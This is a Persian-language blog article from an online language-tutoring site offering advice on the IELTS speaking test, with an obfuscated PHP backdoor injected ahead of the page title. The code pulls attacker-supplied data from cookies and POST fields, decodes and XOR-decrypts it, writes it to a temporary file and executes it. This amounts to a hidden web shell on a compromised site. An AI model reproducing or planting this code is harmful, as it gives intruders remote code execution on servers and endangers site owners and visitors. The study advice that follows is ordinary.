$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} آیا اسپیکینگ آزمون آیلتس دغدغه شما هم هست؟ | وبلاگ اتیچر

آیا اسپیکینگ آزمون آیلتس دغدغه شما هم هست؟

زمان مطالعه: ۵ دقیقه

فهرست بخش ها

چگونه در اسپیکینگ آزمون آیلتس نمره خوبی بگیریم؟

ریشه‌یابی مشکل!

تصور کنید کسی به‌طور ناگهانی سوالی را از شما بپرسد! در این حالت با احتمال زیادی اکثر ما در پاسخ دادن به آن سوال دچار مشکل می‌شویم.

این اتفاق عجیب نیست و هر کسی ممکن است در زندگی آن را بارها تجربه کرده باشد؛ اما برای گروهی از ما پاسخ دادن به سؤالاتی که جواب‌های مشخصی دارند هم مشکل است. در حقیقت، اکثراً مشکل در چنین مواقعی ناشی از کمبود دانش و یا اطلاعات نیست، بلکه دلایل دیگر مثل اضطراب و دلهره از عوامل اصلی این موضوع است.

زمانی که شما خود را برای اسپیکینگ آزمون آیلتس آماده می‌کنید باید نکاتی را مد نظر داشته باشید که بتوانید در حین آزمون تمام آن‌چه که آموختید را ارائه دهید.

پیشنهاد می‌کنم برای یادگیری مطالبی که در اسپیکینگ امتحان آیلتس نیاز دارید؛ از دوره آنلاین آزمون آیلتس استفاده کنید تا به‌راحتی بتوانید تمام نکات مورد نیازتان را به صورت متمرکز یاد بگیرید.

در این مقاله دلایل بروز مشکلات در پاسخ‌دهی را جستجو می‌کنیم و سپس یه دنبال راه‌حل برای آن‌ها می‌گردیم.

با اتیچر همراه باشید تا اطلاعات دقیق‌تری در این زمینه به دست آورید.

همچنین مطالعه شود:

“همه چیز برای موفق شدن در اسپیکینگ آزمون آیلتس”

 

دلایلی که ممکن است به خاطر آن‌ها نتوانیم به‌خوبی از پس اسپیکینگ آزمون آیلتس برآییم

اضطراب در حین آزمون:
یکی از رایج‌ترین دلایل موجود که عملکرد زبان‌آموزان را تحت تأثیر قرار می‌دهد، اضطراب است. به همین علت این افراد نمی‌توانند بیش از ۲ تا ۳ جمله را به زبان آورند. هر چند چنین عواملی تأثیر قابل توجه ای در تسک ۱ آزمون آیلتس ندارند، اما صحبت کردن طولانی در تسک های ۲ و ۳ از عوامل تأثیر گذار در نمره کسب شده است.

کمبود اطلاعات
ممکن است در اسپیکینگ آزمون آیلتس با سؤالاتی مواجه شوید که اطلاعات شما در آن زمینه بسیار محدود و اندک است. به همین دلیل نمی‌توانید پاسخ‌های قانع کننده‌ و مناسبی در زمینه موضوعات مطرح شده، ارائه کنید.

عدم شناخت درست محتویات آزمون
یکی دیگر از دلایلی که زبان آموزان نمی‌توانند به خوبی صحبت کنند، عدم تشخیص زمان مناسب برای ارائه جزئیات بیشتر در مورد سؤالات مطرح شده است. آن‌ها نمی‌توانند به درستی تشخیص دهند که آیا باید یک جمله و یا جزئیات بیشتری در مورد موارد مطرح شده ارائه کنند یا اینکه به پاسخ‌ کوتاه اکتفا کنند.

بهتر است درباره انواع سوالاتی که در آزمون آیلتس با آن‌ها رو‌به‌رو می‌شوید اطلاعاتی داشته باشید.

چگونه مشکلات را رفع کنیم؟

تاکنون با تعدادی از دلایل بروز مشکلات پاسخ‌دهی در اسپیکینگ امتحان آیلتس آشنا شدیم و اکنون زمان آن رسیده است که پیشنهاداتی برای رفع چنین مشکلاتی ارائه نماییم.

۱.تشخیص زمان مناسب برای ارائه جزئیات بیشتر

معمولاً در تسک ۱ اسپیکینگ آزمون آیلتس با سؤالاتی ساده و ابتدایی مواجه خواهید شد. با این وجود، پاسخ‌های یک جمله‌ای نمی‌توانند امکان سنجش درستی را در اختیار اگزمینر قرار دهد. به همین دلیل، نیاز است تا حداقل پاسخ‌های دو جمله‌ای به پرسش‌هایی که در این بخش داده شود گفته شود.

عموماً در تسک ۱ سؤالاتی در زمینه “اطلاعات خانوادگی” و یا سؤالاتی در زمینه “دوران کودکی” مورد پرسش قرار می‌گیرند. اگزمینر در این مرحله سعی می‌کند تا به نوعی باعث آرامش کاندیدها شود و به همین دلیل هر چقدر که بیشتر بتوانید در این مرحله صحبت کنید، احتمال موفقیت در مراحل بعدی همانند تسک ۲ و ۳ افزایش پیدا خواهد کرد.

عموماً در تسک های ۲ و ۳ پرسش‌هایی مطرح می‌شود که نیاز به پاسخ‌هایی دقیق‌تری دارند و داوطلبین باید اطلاعات بیشتری در این بخش‌ها ارائه کنند. به همین دلیل و برای موفقیت بیشتر، نیاز است تا آمادگی خود را برای مکالمات طولانی‌تر افزایش دهید.

۲.برطرف کردن اضطراب

در مقاله ای که اخیرا نیز اطلاع رسانی گردید، چندین راه کاربردی برای کم کردم استرس آزمون آیلتس به طور کامل توضیح داده ش‌د.

شما باید سعی کنید تا مکالماتی با افراد مختلف داشته باشید و از هر موقعیتی که در این زمینه به دست می‌آورید استفاده نمایید. برای نیل به این هدف می‌توانید در یک دوره آنلاین آزمون آیلتس شرکت کنید و به استاد زبان آنلاین خود بگویید که هدفگذاری اصلی دوره، اسپیکینگ آزمون آیلتس باشد.

همچنین همیشه به یاد داشته باشید که ترس از اشتباه، دشمن یادگیری است؛ پس نهراسید و تمرین کنید و از کسانی که با آن‌ها صحبت می‌کنید بخواهید تا در صورتی که مرتکب اشتباهی شدید، اشتباهات شما را تصحیح کنند.

سعی کنید خود را با محیط رسمی  اسپیکینگ امتحان آیلتس آشنا کنید. برای این منظور، می‌توانید از دوستان و اعضای خانواده خود بخواهید که نقش اگزمینر را بازی کنند و سپس به صورت رسمی و با رعایت نکات مورد نظر جلسات آزمون را برگزار نمایند.

این کار می‌تواند کمکی بزرگ در جهت کاهش اضطراب و افزایش اعتماد به نفستان کند. علاوه بر این، با انجام چنین کاری، می‌توان خود را با محیط و سوال‌های نا‌آشنا، بیشتر هماهنگ کرد.

همچنین مطالعه شود:

“آیا می‌توان استرس اسپیکینگ آزمون آیلتس را از بین برد؟”

۳. افزایش اطلاعات مورد نیاز

برای انجام موفقیت آمیز بخش اسپیکینگ آزمون آیلتس، باید مطالعات خود را به میزان قابل توجه ای افزایش دهید و از هر موقعیتی برای خواندن مطالب جدید استفاده کنید.

برای افزایش اطلاعات هدفمند خود از مسایل روز شروع کنید اما تنها به آن‌ها اکتفا نکنید،شما  نیاز دارید تا در مورد سؤالات مطرح شده در آزمون‌های اخیر آیلتس نیز آشنایی به دست آورید. به همین دلیل، نباید تنها اطلاعات خود را محدود به مسائل روز کنید. باید سعی کنید تا مطالعات خود را در حوزه‌های متعددی گسترش دهید. که از این موارد می‌توان به مسائل مربوط به سرگرمی، ارزش‌های خانوادگی، قوانین موجود در کشورها و یا حتی برنامه‌های مختلف تلویزیونی و رادیویی اشاره کرد.

هر چقدر که مطالعات خود را افزایش دهید، اطلاعات بیشتری در مورد موضوعات مختلف به‌دست می‌آورید. و در نتیجه، این کار باعث افزایش اعتماد به نفس شما خواهد شد.

۴.درک اطلاعات و زمان مورد نیاز بخش‌های مختلف

یکی از نکات مهم در زمینه اسپیکینگ آزمون آیلتس، درک اطلاعات و زمان مورد نیاز برای انجام هر یک از بخش‌های مختلف آن است. علاوه بر این، باید بدانید که این‌گونه اطلاعات را چگونه و به چه صورتی ارائه کنید. می‌توانید اطلاعات مورد نیاز را در دوره آنلاین آزمون آیلتس به دست آورید و با راهنمایی استاد زبان آیلتس خود در اتیچر نمره بالاتری کسب کنید.

در نتیجه، سعی کنید در ابتدا اطلاعات و همچنین اعتماد به نفس خود را افزایش دهید. و در نهایت قدرت مکالمه، خود به خود بهبود پیدا می‌کند.

به این مقاله امتیاز بدهید

الینا الله بیگی

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search